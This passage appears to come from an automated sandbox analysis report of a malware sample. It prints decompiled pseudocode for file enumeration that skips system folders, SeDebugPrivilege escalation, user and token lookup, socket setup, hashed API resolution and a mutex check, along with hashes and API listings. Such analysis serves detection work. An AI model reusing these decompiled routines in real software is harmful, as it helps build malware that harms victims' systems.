							E004031E5(_t73, 0, 0xce4477cc, 0, 0);
							_t43 = FindNextFileW(_t73,  &_v596); // executed
							if(_t43 == 0) {
								E00403BEF(_t73); // executed
								goto L29;
							}
							_t100 = 0x2e;
							continue;
						}
					}
				}
				_t102 = E00405B6F(_t106, L"%s\\*", _a4);
				if(_t102 == 0) {
					L14:
					_t100 = 0x2e;
					goto L15;
				}
				E004031E5(0, 0, 0xd4f4acea, 0, 0);
				_t52 = FindFirstFileW(_t102,  &_v596); // executed
				_t74 = _t52;
				if(_t74 == 0xffffffff) {
					L13:
					E00402BAB(_t102);
					_t72 = 0;
					goto L14;
				} else {
					goto L3;
				}
				do {
					L3:
					if((_v596.dwFileAttributes & 0x00000010) == 0) {
						goto L11;
					}
					if(_a24 == 0) {
						L7:
						if(E00405D24( &(_v596.cFileName)) >= 3) {
							L9:
							_push( &(_v596.cFileName));
							_t60 = E00405B6F(_t114, L"%s\\%s", _a4);
							_t103 = _t103 + 0xc;
							_a16 = _t60;
							_t115 = _t60;
							if(_t60 == 0) {
								goto L11;
							}
							_t99 = E00403D74(_t115, _t60, _a8, _a12, 1, 0, 1);
							E00402BAB(_a16);
							_t103 = _t103 + 0x1c;
							if(_t99 != 0) {
								E00402BAB(_t102);
								E00403BEF(_t74);
								return _t99;
							}
							goto L11;
						}
						_t66 = 0x2e;
						_t114 = _v596.cFileName - _t66;
						if(_v596.cFileName == _t66) {
							goto L11;
						}
						goto L9;
					}
					_push(L"Windows");
					if(E00405EFF( &(_v596.cFileName)) != 0) {
						goto L11;
					}
					_push(L"Program Files");
					if(E00405EFF( &(_v596.cFileName)) != 0) {
						goto L11;
					}
					goto L7;
					L11:
					E004031E5(_t74, 0, 0xce4477cc, 0, 0);
					_t56 = FindNextFileW(_t74,  &_v596); // executed
				} while (_t56 != 0);
				E00403BEF(_t74); // executed
				goto L13;
			}

0x00403d82
0x00403d88
0x00403d8c
0x00403d8d
0x00403d90
0x00403ea9
0x00403ea9
0x00403eb9
0x00403ebb
0x00403ec0
0x00403f95
0x00403f95
0x00000000
0x00403f95
0x00403ece
0x00403edb
0x00403edd
0x00403ee2
0x00403f8e
0x00403f8f
0x00000000
0x00403f94
0x00000000
0x00403ee8
0x00403ef8
0x00403f0a
0x00403f12
0x00403f18
0x00403f26
0x00403f28
0x00403f2d
0x00000000
0x00000000
0x00403f33
0x00403f76
0x00403f7c
0x00000000
0x00403f83
0x00403f36
0x00403f3a
0x00000000
0x00403f40
0x00403f0c
0x00403f10
0x00000000
0x00000000
0x00000000
0x00403f41
0x00403f41
0x00403f4b
0x00403f58
0x00403f5c
0x00403f88
0x00000000
0x00403f8d
0x00403f60
0x00000000
0x00403f60
0x00403ef8
0x00403ee8
0x00403da3
0x00403da9
0x00403ea6
0x00403ea8
0x00000000
0x00403ea8
0x00403db7
0x00403dc4
0x00403dc6
0x00403dcb
0x00403e9d
0x00403e9e
0x00403ea4
0x00000000
0x00000000
0x00000000
0x00000000
0x00403dd1
0x00403dd1
0x00403dd8
0x00000000
0x00000000
0x00403de2
0x00403e12
0x00403e22
0x00403e30
0x00403e36
0x00403e3f
0x00403e44
0x00403e47
0x00403e4a
0x00403e4c
0x00000000
0x00000000
0x00403e63
0x00403e65
0x00403e6a
0x00403e6f
0x00403f64
0x00403f6a
0x00000000
0x00403f71
0x00000000
0x00403e6f
0x00403e26
0x00403e27
0x00403e2e
0x00000000
0x00000000
0x00000000
0x00403e2e
0x00403dea
0x00403df9
0x00000000
0x00000000
0x00403e01
0x00403e10
0x00000000
0x00000000
0x00000000
0x00403e75
0x00403e7f
0x00403e8c
0x00403e8e
0x00403e97
0x00000000

APIs

FindFirstFileW.KERNELBASE(00000000,?,00000000,D4F4ACEA,00000000,00000000,00000001,00000000,00000000), ref: 00403DC4
FindNextFileW.KERNELBASE(00000000,00000010,00000000,CE4477CC,00000000,00000000), ref: 00403E8C
FindFirstFileW.KERNELBASE(00000000,?,00000000,D4F4ACEA,00000000,00000000,00000001,00000000,00000000), ref: 00403EDB
FindNextFileW.KERNELBASE(00000000,00000010,00000000,CE4477CC,00000000,00000000), ref: 00403F58

Strings

Program Files, xrefs: 00403E01
%s\%s, xrefs: 00403E3A, 00403EAF, 00403F1C
Windows, xrefs: 00403DEA
%s\*, xrefs: 00403D99

Memory Dump Source

Source File: 00000006.00000002.669282613.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_xmtxpy.jbxd

Yara matches

Similarity

API ID: FileFind$FirstNext
String ID: %s\%s$%s\*$Program Files$Windows
API String ID: 1690352074-2009209621
Opcode ID: 63e1f370609dfed3717ff2c0158d5115428f49d0583d80af2640003a87fa6112
Instruction ID: acb13e71dd503001dda9649917d64d786dba47cd8022a2b45c5045a1a8a297e9
Opcode Fuzzy Hash: 63e1f370609dfed3717ff2c0158d5115428f49d0583d80af2640003a87fa6112
Instruction Fuzzy Hash: A651F3329006197AEB14AEB4DD8AFAB3B6CDB45719F10013BF404B51C1EA7CEF80865C

Uniqueness

Uniqueness Score: -1.00%

Function 0040650A Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 67
COMMON

Download Yara Rule

C-Code - Quality: 78%

			E0040650A(void* __eax, void* __ebx, void* __eflags) {
				void* _v8;
				struct _LUID _v16;
				intOrPtr _v20;
				intOrPtr _v24;
				struct _TOKEN_PRIVILEGES _v32;
				intOrPtr* _t13;
				void* _t14;
				int _t16;
				int _t31;
				void* _t32;

				_t31 = 0;
				E004060AC();
				_t32 = __eax;
				_t13 = E004031E5(__ebx, 9, 0xea792a5f, 0, 0);
				_t14 =  *_t13(_t32, 0x28,  &_v8);
				if(_t14 != 0) {
					E004031E5(__ebx, 9, 0xc6c3ecbb, 0, 0);
					_t16 = LookupPrivilegeValueW(0, L"SeDebugPrivilege",  &_v16); // executed
					if(_t16 != 0) {
						_push(__ebx);
						_v32.Privileges = _v16.LowPart;
						_v32.PrivilegeCount = 1;
						_v24 = _v16.HighPart;
						_v20 = 2;
						E004031E5(1, 9, 0xc1642df2, 0, 0);
						AdjustTokenPrivileges(_v8, 0,  &_v32, 0x10, 0, 0); // executed
						_t31 =  !=  ? 1 : 0;
					}
					E00403C40(_v8);
					return _t31;
				}
				return _t14;
			}

0x00406512
0x00406514
0x00406522
0x00406524
0x00406530
0x00406534
0x0040653f
0x0040654e
0x00406552
0x0040655a
0x0040655f
0x0040656d
0x00406570
0x00406573
0x0040657a
0x00406589
0x0040658d
0x00406590
0x00406594
0x00000000
0x0040659a
0x004065a1

APIs

LookupPrivilegeValueW.ADVAPI32(00000000,SeDebugPrivilege,?,00000009,C6C3ECBB,00000000,00000000,?,00000000,?,?,?,?,?,0040F9DC), ref: 0040654E
AdjustTokenPrivileges.KERNELBASE(?,00000000,?,00000010,00000000,00000000,00000009,C1642DF2,00000000,00000000,00000000,?,00000000), ref: 00406589

Strings

SeDebugPrivilege, xrefs: 00406548

Memory Dump Source

Source File: 00000006.00000002.669282613.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_xmtxpy.jbxd

Yara matches

Similarity

API ID: AdjustLookupPrivilegePrivilegesTokenValue
String ID: SeDebugPrivilege
API String ID: 3615134276-2896544425
Opcode ID: e2948c256eaff89fcf02f3bc2ef1638e4caf3df8a7acb90b2cc554f1a6e3f5aa
Instruction ID: 1578144bc241a5b33ff73db231d5495ab0f4fd5df9d31338026c5631bf24f4b3
Opcode Fuzzy Hash: e2948c256eaff89fcf02f3bc2ef1638e4caf3df8a7acb90b2cc554f1a6e3f5aa
Instruction Fuzzy Hash: A1117331A00219BAD710EEA79D4AEAF7ABCDBCA704F10006EB504F6181EE759B018674

Uniqueness

Uniqueness Score: -1.00%

Function 00406069 Relevance: 1.5, APIs: 1, Instructions: 12
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00406069(WCHAR* _a4, DWORD* _a8) {
				int _t4;
				void* _t5;

				E004031E5(_t5, 9, 0xd4449184, 0, 0);
				_t4 = GetUserNameW(_a4, _a8); // executed
				return _t4;
			}

0x00406077
0x00406082
0x00406085

APIs

GetUserNameW.ADVAPI32(?,?,00000009,D4449184,00000000,00000000,?,00406361,00000000,CA,00000000,00000000,00000104,00000000,00000032), ref: 00406082

Memory Dump Source

Source File: 00000006.00000002.669282613.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_xmtxpy.jbxd

Yara matches

Similarity

API ID: NameUser
String ID:
API String ID: 2645101109-0
Opcode ID: a7da28448db3172b96443927ad348f68214272ffe937b716ad81b86c5e2c6b81
Instruction ID: cd86427636297e763c0a42ccb852711c5927781faf2e94d4e6bb5dc6023ef8f2
Opcode Fuzzy Hash: a7da28448db3172b96443927ad348f68214272ffe937b716ad81b86c5e2c6b81
Instruction Fuzzy Hash: 93C04C711842087BFE116ED1DC06F483E199B45B59F104011B71C2C0D1D9F3A6516559

Uniqueness

Uniqueness Score: -1.00%

Function 00404ED4 Relevance: 1.5, APIs: 1, Instructions: 9networkCOMMON

Download Yara Rule

APIs

recv.WS2_32(00000000,00000000,00000FD0,00000000), ref: 00404EE2

Memory Dump Source

Source File: 00000006.00000002.669282613.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_xmtxpy.jbxd

Yara matches

Similarity

API ID: recv
String ID:
API String ID: 1507349165-0
Opcode ID: 21ce8f986ded34978476a8ad781d548340edbce2afa6bcd3c515a11396da2d1b
Instruction ID: cd18cecc4e97c8ae47002f9e4185d290addc31a5a75b3629954b28b764c5713b
Opcode Fuzzy Hash: 21ce8f986ded34978476a8ad781d548340edbce2afa6bcd3c515a11396da2d1b
Instruction Fuzzy Hash: 6EC0483204020CFBCF025F81EC05BD93F2AFB48760F448020FA1818061C772A520AB88

Uniqueness

Uniqueness Score: -1.00%

Function 004061C3 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 151
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 81%

			E004061C3(void* __eax, void* __ebx, void* __eflags) {
				WCHAR* _v8;
				long _v12;
				void** _v16;
				WCHAR* _v20;
				long _v24;
				long _v28;
				union _SID_NAME_USE _v32;
				intOrPtr* _t25;
				WCHAR* _t27;
				WCHAR* _t30;
				WCHAR* _t31;
				WCHAR* _t36;
				WCHAR* _t37;
				WCHAR* _t40;
				long _t44;
				intOrPtr* _t45;
				WCHAR* _t46;
				void* _t48;
				WCHAR* _t49;
				WCHAR* _t67;
				void* _t68;
				void* _t74;

				_t48 = __ebx;
				_t67 = 0;
				_v8 = 0;
				E00402BF2();
				_t68 = __eax;
				_t25 = E004031E5(__ebx, 9, 0xe87a9e93, 0, 0);
				_t2 =  &_v8; // 0x414449
				_push(1);
				_push(8);
				_push(_t68);
				if( *_t25() != 0) {
					L4:
					_t27 = E00402B7C(0x208);
					_v20 = _t27;
					__eflags = _t27;
					if(_t27 != 0) {
						E0040338C(_t27, _t67, 0x104);
						_t74 = _t74 + 0xc;
					}
					_push(_t48);
					_t49 = E00402B7C(0x208);
					__eflags = _t49;
					if(_t49 != 0) {
						E0040338C(_t49, _t67, 0x104);
						_t74 = _t74 + 0xc;
					}
					_v28 = 0x208;
					_v24 = 0x208;
					_t7 =  &_v8; // 0x414449
					_v12 = _t67;
					E004031E5(_t49, 9, 0xecae3497, _t67, _t67);
					_t30 = GetTokenInformation( *_t7, 1, _t67, _t67,  &_v12); // executed
					__eflags = _t30;
					if(_t30 == 0) {
						_t36 = E00402B7C(_v12);
						_v16 = _t36;
						__eflags = _t36;
						if(_t36 != 0) {
							_t14 =  &_v8; // 0x414449, executed
							_t37 = E00406086( *_t14, 1, _t36, _v12,  &_v12); // executed
							__eflags = _t37;
							if(_t37 != 0) {
								E004031E5(_t49, 9, 0xc0862e2b, _t67, _t67);
								_t40 = LookupAccountSidW(_t67,  *_v16, _v20,  &_v28, _t49,  &_v24,  &_v32); // executed
								__eflags = _t40;
								if(__eflags != 0) {
									_t67 = E00405B6F(__eflags, L"%s", _t49);
								}
							}
							E00402BAB(_v16);
						}
					}
					__eflags = _v8;
					if(_v8 != 0) {
						E00403C40(_v8); // executed
					}
					__eflags = _t49;
					if(_t49 != 0) {
						E00402BAB(_t49);
					}
					_t31 = _v20;
					__eflags = _t31;
					if(_t31 != 0) {
						E00402BAB(_t31);
					}
					return _t67;
				}
				_t44 = GetLastError();
				if(_t44 == 0x3f0) {
					E004060AC();
					_t45 = E004031E5(__ebx, 9, 0xea792a5f, 0, 0);
					_t3 =  &_v8; // 0x414449
					_t46 =  *_t45(_t44, 8, _t3);
					__eflags = _t46;
					if(_t46 == 0) {
						goto L2;
					}
					goto L4;
				}
				L2:
				return 0;
			}

0x004061c3
0x004061cb
0x004061cd
0x004061d0
0x004061de
0x004061e0
0x004061e5
0x004061e9
0x004061eb
0x004061ed
0x004061f2
0x0040622a
0x00406230
0x00406235
0x00406239
0x0040623b
0x00406244
0x00406249
0x00406249
0x0040624c
0x00406253
0x00406256
0x00406258
0x00406261
0x00406266
0x00406266
0x00406270
0x00406273
0x00406276
0x0040627b
0x0040627e
0x0040628c
0x0040628e
0x00406290
0x00406295
0x0040629a
0x0040629e
0x004062a0
0x004062ac
0x004062af
0x004062b7
0x004062b9
0x004062c9
0x004062e0
0x004062e2
0x004062e4
0x004062f3
0x004062f3
0x004062e4
0x004062f8
0x004062fd
0x004062a0
0x004062fe
0x00406302
0x00406307
0x0040630c
0x0040630d
0x0040630f
0x00406312
0x00406317
0x00406318
0x0040631c
0x0040631e
0x00406321
0x00406326
0x00000000
0x00406327
0x004061f4
0x004061ff
0x00406208
0x00406218
0x0040621d
0x00406224
0x00406226
0x00406228
0x00000000
0x00000000
0x00000000
0x00406228
0x00406201
0x00000000

APIs

GetLastError.KERNEL32(?,?,?,?,?,?,00414449), ref: 004061F4
_wmemset.LIBCMT ref: 00406244
_wmemset.LIBCMT ref: 00406261
GetTokenInformation.KERNELBASE(IDA,00000001,00000000,00000000,?,00000009,ECAE3497,00000000,00000000,00000000), ref: 0040628C
LookupAccountSidW.ADVAPI32(00000000,?,?,?,00000000,?,?,00000009,C0862E2B,00000000,00000000), ref: 004062E0

Strings

IDA, xrefs: 004061E5, 00406276, 004062AC, 0040621D, 004061E8, 00406220, 0040628B
IDA, xrefs: 00406304

Memory Dump Source

Source File: 00000006.00000002.669282613.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_xmtxpy.jbxd

Yara matches

Similarity

API ID: _wmemset$AccountErrorInformationLastLookupToken
String ID: IDA$IDA
API String ID: 3235442692-2020647798
Opcode ID: 2112e895418518b3aaf2b5de2dd6d1e0f0097c6d5c5f57a4f240550e55cdae00
Instruction ID: 96d4363135ba53d30ed73ccdf96fe48b30064626948d25b168d4296351bbaec2
Opcode Fuzzy Hash: 2112e895418518b3aaf2b5de2dd6d1e0f0097c6d5c5f57a4f240550e55cdae00
Instruction Fuzzy Hash: 6641B372900206BAEB10AFE69C46EEF7B7CDF95714F11007FF901B61C1EE799A108668

Uniqueness

Uniqueness Score: -1.00%

Function 00404E17 Relevance: 7.6, APIs: 5, Instructions: 72
networkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 37%

			E00404E17(intOrPtr _a4, intOrPtr _a8) {
				signed int _v8;
				intOrPtr _v28;
				intOrPtr _v32;
				intOrPtr _v36;
				void _v40;
				void* _t23;
				signed int _t24;
				signed int* _t25;
				signed int _t30;
				signed int _t31;
				signed int _t33;
				signed int _t41;
				void* _t42;
				signed int* _t43;

				_v8 = _v8 & 0x00000000;
				_t33 = 8;
				memset( &_v40, 0, _t33 << 2);
				_v32 = 1;
				_t23 =  &_v40;
				_v28 = 6;
				_v36 = 2;
				__imp__getaddrinfo(_a4, _a8, _t23,  &_v8); // executed
				if(_t23 == 0) {
					_t24 = E00402B7C(4);
					_t43 = _t24;
					_t31 = _t30 | 0xffffffff;
					 *_t43 = _t31;
					_t41 = _v8;
					__imp__#23( *((intOrPtr*)(_t41 + 4)),  *((intOrPtr*)(_t41 + 8)),  *((intOrPtr*)(_t41 + 0xc)), _t42, _t30); // executed
					 *_t43 = _t24;
					if(_t24 != _t31) {
						__imp__#4(_t24,  *((intOrPtr*)(_t41 + 0x18)),  *((intOrPtr*)(_t41 + 0x10))); // executed
						if(_t24 == _t31) {
							E00404DE5(_t24,  *_t43);
							 *_t43 = _t31;
						}
						__imp__freeaddrinfo(_v8);
						if( *_t43 != _t31) {
							_t25 = _t43;
							goto L10;
						} else {
							E00402BAB(_t43);
							L8:
							_t25 = 0;
							L10:
							return _t25;
						}
					}
					E00402BAB(_t43);
					__imp__freeaddrinfo(_v8);
					goto L8;
				}
				return 0;
			}

0x00404e1d
0x00404e26
0x00404e2a
0x00404e2f
0x00404e37
0x00404e3a
0x00404e45
0x00404e4f
0x00404e57
0x00404e61
0x00404e66
0x00404e68
0x00404e6c
0x00404e6e
0x00404e7a
0x00404e80
0x00404e84
0x00404e9f
0x00404ea7
0x00404eab
0x00404eb1
0x00404eb1
0x00404eb6
0x00404ebe
0x00404ecb
0x00000000
0x00404ec0
0x00404ec1
0x00404ec7
0x00404ec7
0x00404ecd
0x00000000
0x00404ece
0x00404ebe
0x00404e87
0x00404e90
0x00000000
0x00404e90
0x00000000

APIs

getaddrinfo.WS2_32(00000000,00000001,?,00000000), ref: 00404E4F
socket.WS2_32(?,?,?), ref: 00404E7A
freeaddrinfo.WS2_32(00000000), ref: 00404E90

Memory Dump Source

Source File: 00000006.00000002.669282613.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_xmtxpy.jbxd

Yara matches

Similarity

API ID: freeaddrinfogetaddrinfosocket
String ID:
API String ID: 2479546573-0
Opcode ID: 24ce84c10c969aea94c1025059d7642f8b55e38ae369deafe647ee036e6b461b
Instruction ID: d63855dbb6a3d3c0c8ebf90f2bb9ce8455fd2b7eef63007fec5ba55d39dacf84
Opcode Fuzzy Hash: 24ce84c10c969aea94c1025059d7642f8b55e38ae369deafe647ee036e6b461b
Instruction Fuzzy Hash: 9621BBB2500109FFCB106FA0ED49ADEBBB5FF88315F20453AF644B11A0C7399A919B98

Uniqueness

Uniqueness Score: -1.00%

Function 004040BB Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 129
filememoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 74%

			E004040BB(void* __eflags, WCHAR* _a4, long* _a8, intOrPtr _a12) {
				struct _SECURITY_ATTRIBUTES* _v8;
				char _v12;
				long _v16;
				void* __ebx;
				void* __edi;
				void* _t16;
				intOrPtr* _t25;
				long* _t28;
				void* _t30;
				int _t32;
				intOrPtr* _t33;
				void* _t35;
				void* _t42;
				intOrPtr _t43;
				long _t44;
				struct _OVERLAPPED* _t46;

				_t46 = 0;
				_t35 = 0;
				E004031E5(0, 0, 0xe9fabb88, 0, 0);
				_t16 = CreateFileW(_a4, 0x80000000, 1, 0, 3, 0x80, 0); // executed
				_t42 = _t16;
				_v8 = _t42;
				if(_t42 == 0xffffffff) {
					__eflags = _a12;
					if(_a12 == 0) {
						L10:
						return _t35;
					}
					_t43 = E00403C90(_t42, L".tmp", 0, 0, 0x1a);
					__eflags = _t43;
					if(_t43 == 0) {
						goto L10;
					}
					_push(0);
					__eflags = E00403C59(_a4, _t43);
					if(__eflags != 0) {
						_v8 = 0;
						_t46 = E004040BB(__eflags, _t43,  &_v8, 0);
						_push(_t43);
						 *_a8 = _v8;
						E00403D44();
					}
					E00402BAB(_t43);
					return _t46;
				}
				_t25 = E004031E5(0, 0, 0xf9435d1e, 0, 0);
				_t44 =  *_t25(_t42,  &_v12);
				if(_v12 != 0 || _t44 > 0x40000000) {
					L8:
					_t45 = _v8;
					goto L9;
				} else {
					_t28 = _a8;
					if(_t28 != 0) {
						 *_t28 = _t44;
					}
					E004031E5(_t35, _t46, 0xd4ead4e2, _t46, _t46);
					_t30 = VirtualAlloc(_t46, _t44, 0x1000, 4); // executed
					_t35 = _t30;
					if(_t35 == 0) {
						goto L8;
					} else {
						E004031E5(_t35, _t46, 0xcd0c9940, _t46, _t46);
						_t45 = _v8;
						_t32 = ReadFile(_v8, _t35, _t44,  &_v16, _t46); // executed
						if(_t32 == 0) {
							_t33 = E004031E5(_t35, _t46, 0xf53ecacb, _t46, _t46);
							 *_t33(_t35, _t46, 0x8000);
							_t35 = _t46;
						}
						L9:
						E00403C40(_t45); // executed
						goto L10;
					}
				}
			}

0x004040c4
0x004040ce
0x004040d0
0x004040e8
0x004040ea
0x004040ec
0x004040f2
0x0040418d
0x00404190
0x00404184
0x00000000
0x00404184
0x004041a0
0x004041a5
0x004041a7
0x00000000
0x00000000
0x004041a9
0x004041b6
0x004041b8
0x004041be
0x004041cb
0x004041d0
0x004041d1
0x004041d3
0x004041d8
0x004041dc
0x00000000
0x004041e2
0x00404100
0x0040410c
0x00404111
0x0040417a
0x0040417a
0x00000000
0x0040411b
0x0040411b
0x00404120
0x00404122
0x00404122
0x0040412c
0x0040413a
0x0040413c
0x00404140
0x00000000
0x00404142
0x0040414a
0x00404155
0x0040415a
0x0040415e
0x00404168
0x00404174
0x00404176
0x00404176
0x0040417d
0x0040417e
0x00000000
0x00404183
0x00404140

APIs

CreateFileW.KERNELBASE(00000000,80000000,00000001,00000000,00000003,00000080,00000000,00000000,E9FABB88,00000000,00000000,00000000,00000001,00000000), ref: 004040E8
VirtualAlloc.KERNELBASE(00000000,00000000,00001000,00000004,00000000,D4EAD4E2,00000000,00000000), ref: 0040413A
ReadFile.KERNELBASE(00000000,00000000,00000000,00000000,00000000,00000000,CD0C9940,00000000,00000000), ref: 0040415A

Strings

.tmp, xrefs: 00404196

Memory Dump Source

Source File: 00000006.00000002.669282613.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_xmtxpy.jbxd

Yara matches

Similarity

API ID: File$AllocCreateReadVirtual
String ID: .tmp
API String ID: 3585551309-2986845003
Opcode ID: 9631e6f5e9699617cd127c849230d2104622380ed218987cebf5414177a879fc
Instruction ID: b436c3373f33a6751ef3154d9799880e4ac32c23f8ae8b62b11f674aa4b57f97
Opcode Fuzzy Hash: 9631e6f5e9699617cd127c849230d2104622380ed218987cebf5414177a879fc
Instruction Fuzzy Hash: 2C31F87150112477D721AE664C49FDF7E6CDFD67A4F10003AFA08BA2C1DA799B41C2E9

Uniqueness

Uniqueness Score: -1.00%

Function 00413866 Relevance: 4.6, APIs: 3, Instructions: 147
synchronizationCOMMON

Download Yara Rule

C-Code - Quality: 79%

			E00413866(void* __eflags) {
				short _v6;
				short _v8;
				short _v10;
				short _v12;
				short _v14;
				short _v16;
				short _v18;
				short _v20;
				short _v22;
				char _v24;
				short _v28;
				short _v30;
				short _v32;
				short _v34;
				short _v36;
				short _v38;
				short _v40;
				short _v42;
				short _v44;
				short _v46;
				char _v48;
				short _v52;
				short _v54;
				short _v56;
				short _v58;
				short _v60;
				short _v62;
				short _v64;
				short _v66;
				short _v68;
				short _v70;
				short _v72;
				short _v74;
				char _v76;
				void* __ebx;
				void* __edi;
				void* _t38;
				short _t43;
				short _t44;
				short _t45;
				short _t46;
				short _t47;
				short _t48;
				short _t50;
				short _t51;
				short _t52;
				short _t54;
				short _t55;
				intOrPtr* _t57;
				intOrPtr* _t59;
				intOrPtr* _t61;
				void* _t63;
				WCHAR* _t65;
				long _t68;
				void* _t75;
				short _t76;
				short _t78;
				short _t83;
				short _t84;
				short _t85;

				E00402C6C(_t38);
				E004031E5(_t75, 0, 0xd1e96fcd, 0, 0);
				SetErrorMode(3); // executed
				_t43 = 0x4f;
				_v76 = _t43;
				_t44 = 0x4c;
				_v74 = _t44;
				_t45 = 0x45;
				_v72 = _t45;
				_t46 = 0x41;
				_v70 = _t46;
				_t47 = 0x55;
				_v68 = _t47;
				_t48 = 0x54;
				_t76 = 0x33;
				_t84 = 0x32;
				_t83 = 0x2e;
				_t78 = 0x64;
				_t85 = 0x6c;
				_v66 = _t48;
				_v52 = 0;
				_t50 = 0x77;
				_v48 = _t50;
				_t51 = 0x73;
				_v46 = _t51;
				_t52 = 0x5f;
				_v42 = _t52;
				_v28 = 0;
				_t54 = 0x6f;
				_v24 = _t54;
				_t55 = 0x65;
				_v20 = _t55;
				_v64 = _t76;
				_v62 = _t84;
				_v60 = _t83;
				_v58 = _t78;
				_v56 = _t85;
				_v54 = _t85;
				_v44 = _t84;
				_v40 = _t76;
				_v38 = _t84;
				_v36 = _t83;
				_v34 = _t78;
				_v32 = _t85;
				_v30 = _t85;
				_v22 = _t85;
				_v18 = _t76;
				_v16 = _t84;
				_v14 = _t83;
				_v12 = _t78;
				_v10 = _t85;
				_v8 = _t85;
				_v6 = 0;
				_t57 = E004031E5(0, 0, 0xe811e8d4, 0, 0);
				 *_t57( &_v76);
				_t59 = E004031E5(0, 0, 0xe811e8d4, 0, 0);
				 *_t59( &_v48);
				_t61 = E004031E5(0, 0, 0xe811e8d4, 0, 0);
				_t81 =  &_v24;
				 *_t61( &_v24); // executed
				_t63 = E00414059(); // executed
				if(_t63 != 0) {
					_t65 = E00413D97(0);
					E004031E5(0, 0, 0xcf167df4, 0, 0);
					CreateMutexW(0, 1, _t65); // executed
					_t68 = GetLastError();
					_t92 = _t68 - 0xb7;
					if(_t68 == 0xb7) {
						E00413B81(0);
						_pop(_t81); // executed
					}
					E00413003(_t92); // executed
					E00412B2E(_t92); // executed
					E00412D31(_t81, _t84); // executed
					E00413B3F();
					E00413B81(0);
					 *0x49fdd0 = 1;
				}
				return 0;
			}

0x0041386f
0x0041387e
0x00413885
0x00413889
0x0041388c
0x00413890
0x00413893
0x00413897
0x0041389a
0x0041389e
0x004138a1
0x004138a5
0x004138a8
0x004138ac
0x004138af
0x004138b2
0x004138b5
0x004138b8
0x004138bb
0x004138bc
0x004138c4
0x004138c8
0x004138cb
0x004138cf
0x004138d2
0x004138d6
0x004138d7
0x004138df
0x004138e3
0x004138e4
0x004138ea
0x004138eb
0x004138f1
0x004138f5
0x004138f9
0x004138fd
0x00413901
0x00413905
0x00413909
0x0041390d
0x00413911
0x00413915
0x00413919
0x0041391d
0x00413921
0x00413925
0x00413929
0x0041392d
0x00413931
0x00413935
0x00413939
0x0041393d
0x00413941
0x00413950
0x00413959
0x0041395f
0x00413968
0x0041396e
0x00413973
0x00413977
0x00413979
0x00413980
0x00413982
0x00413991
0x0041399c
0x0041399e
0x004139a4
0x004139a9
0x004139ac
0x004139b1
0x004139b1
0x004139b2
0x004139b7
0x004139bc
0x004139c1
0x004139c7
0x004139cd
0x004139cd
0x004139db

APIs

SetErrorMode.KERNELBASE(00000003,00000000,D1E96FCD,00000000,00000000,00000000,00000000), ref: 00413885
CreateMutexW.KERNELBASE(00000000,00000001,00000000,00000000,CF167DF4,00000000,00000000), ref: 0041399C
GetLastError.KERNEL32 ref: 0041399E

Memory Dump Source

Source File: 00000006.00000002.669282613.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_xmtxpy.jbxd

Yara matches

Similarity

API ID: Error$CreateLastModeMutex
String ID:
API String ID: 3448925889-0
Opcode ID: 5dd40e4cfd1fe52203b1fe5968f304513c4092ad3980e50a04d496178e49115f
Instruction ID: 7738172b6d33d5602fc402945caed90a0cea100ae195543e4e9fee3f6653e559
Opcode Fuzzy Hash: 5dd40e4cfd1fe52203b1fe5968f304513c4092ad3980e50a04d496178e49115f
Instruction Fuzzy Hash: 11415E61964348A8EB10ABF1AC82EFFA738EF54755F10641FF504F7291E6794A80836E

Uniqueness

Uniqueness Score: -1.00%

Function 004042CF Relevance: 4.6, APIs: 3, Instructions: 60
fileCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E004042CF(void* __ebx, void* __eflags, WCHAR* _a4, void* _a8, long _a12) {
				long _v8;
				void* _t7;
				long _t10;
				void* _t21;
				struct _OVERLAPPED* _t24;

				_t14 = __ebx;
				_t24 = 0;
				_v8 = 0;
				E004031E5(__ebx, 0, 0xe9fabb88, 0, 0);
				_t7 = CreateFileW(_a4, 0xc0000000, 0, 0, 4, 0x80, 0); // executed
				_t21 = _t7;
				if(_t21 != 0xffffffff) {
					E004031E5(__ebx, 0, 0xeebaae5b, 0, 0);
					_t10 = SetFilePointer(_t21, 0, 0, 2); // executed
					if(_t10 != 0xffffffff) {
						E004031E5(_t14, 0, 0xc148f916, 0, 0);
						WriteFile(_t21, _a8, _a12,  &_v8, 0); // executed
						_t24 =  !=  ? 1 : 0;
					}
					E00403C40(_t21);
				}
				return _t24;
			}

0x004042cf
0x004042d5
0x004042df
0x004042e2
0x004042f9
0x004042fb
0x00404300
0x0040430a
0x00404314
0x00404319
0x00404323
0x00404334
0x0040433b
0x0040433b
0x0040433f
0x00404344
0x0040434c

APIs

CreateFileW.KERNELBASE(00000000,C0000000,00000000,00000000,00000004,00000080,00000000,00000000,E9FABB88,00000000,00000000,00000000,00000001,?,?,004146E2), ref: 004042F9
